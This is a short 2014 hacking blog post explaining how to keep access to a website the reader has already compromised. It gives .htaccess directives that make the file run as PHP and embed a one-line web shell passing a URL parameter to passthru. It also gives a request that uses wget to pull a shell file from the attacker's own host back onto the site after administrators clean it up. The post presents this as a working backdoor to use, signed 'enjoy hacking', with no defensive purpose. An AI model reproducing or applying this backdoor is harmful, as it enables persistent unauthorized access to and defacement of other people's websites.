Wednesday, October 15, 2014

How To Put Backdoor on .htaccess

Some of you guys thinking how to maintain your access of one specific website. . .so i'll give you one tip..

 

you can make some backdoor code on .htacess

 

once you penetrate the website and you put a shell on it

go to public_html and edit the .htaccess and put these codes

 

<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>

 

clear all the code you see on .htaccess and replace it with the code given above.

 

once the admin of that website delete your defacement page along with your shell. you can put a shell again on it with htaccess by doing this command

 

www.LinkOFHackedSite.com/.htaccess?cmd=wget -O shellName.php http://www.LinkOFyouRWebsite.com/Shell.Txt

 

 

"PS" you have to put your shell in other website or in some free hosting . . NOTE your shell must be in a Text File.


*enjoy hacking*



~2R4T$ and friends ^___^

No comments:

Post a Comment